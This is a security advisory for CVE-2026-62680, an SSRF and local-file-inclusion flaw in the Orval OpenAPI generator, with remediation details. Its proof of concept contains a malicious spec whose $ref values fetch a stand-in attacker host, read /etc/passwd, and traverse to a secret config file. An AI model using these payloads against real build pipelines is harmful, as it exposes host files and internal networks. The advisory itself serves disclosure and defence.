high · 7.1CVE-2026-62680Sep 2, 2026

CVE-2026-62680: Orval Generation-Time SSRF and Local File Inclusion via Unvalidated $ref

Rohit Hatagale
AI Security Researcher, SecureLayer7

Running the Orval OpenAPI code generator on a malicious spec lets an attacker make the build host fetch arbitrary internal URLs or read any file on disk, just by pointing a $ref field at a remote URL…

Packageorval
Ecosystemnpm
Affected< 8.22.0
Fixed in8.22.0
CVE-2026-62680: Orval Generation-Time SSRF and Local File Inclusion via Unvalidated $ref

The problem

Orval resolves OpenAPI $ref values both by fetching remote http/https URLs and by reading local files, then inlines the result into generated client code. It did not restrict which URLs could be fetched or which paths could be read.

A developer or CI pipeline that runs orval on an attacker-influenced spec leaks internal network responses (SSRF), discloses arbitrary files from the build host (LFI), and inlines untrusted remote schemas into the generated output (RFI). CVSS 7.1 High.

Proof of concept

A working proof-of-concept for CVE-2026-62680 in orval, with the exact payload below.

yaml
# orval.config.ts
import { defineConfig } from 'orval';
export default defineConfig({
  api: {
    input: { target: './evil.yaml' },
    output: { target: './src/api.ts' },
  },
});

# evil.yaml  -- three vectors in one spec
openapi: '3.0.0'
info:
  title: Evil
  version: '0.0.1'
paths: {}
components:
  schemas:
    # Vector 1: SSRF + RFI -- build host GETs attacker URL
    RemoteSchema:
      $ref: 'http://attacker.internal/evil-schema.json#/RemoteType'

    # Vector 2: LFI via absolute path -- reads /etc/passwd
    SecretsSchema:
      $ref: '/etc/passwd#/'

    # Vector 3: LFI via path traversal -- escapes project root
    TraversalSchema:
      $ref: '../../secret-config.json#/apiKey'

Orval's $ref resolver (pre-8.22.0) passed any string value directly to its fetch/file-read logic with no origin check. Remote http(s) refs caused the generator process to issue an outbound HTTP request from the build host, making the response body available in generated output.

Local refs accepted absolute paths (starting with /) and relative paths containing ../, so any file readable by the build user could be exfiltrated.

The patch (PR #3723, commit 8ef1bfdf) gates remote resolution behind an explicit allow-list (externalRefs config) and confines local resolution to the spec's own directory tree, rejecting absolute paths and ../ escapes. Root cause is CWE-22 (path traversal) plus CWE-918 (SSRF) from trusting user-supplied URI strings without validation.

The fix

Upgrade to orval 8.22.0 or later. Remote $ref resolution is now opt-in via the externalRefs allow-list in orval.config; local refs are confined to the input directory tree. See https://orval.dev/docs/reference/configuration/input#externalrefs for how to enable external refs if your spec legitimately needs them.

Do not run orval against untrusted OpenAPI specs on any version below 8.22.0.

Reported by aqeelat.

References: [1][2][3][4][5][6]

Related research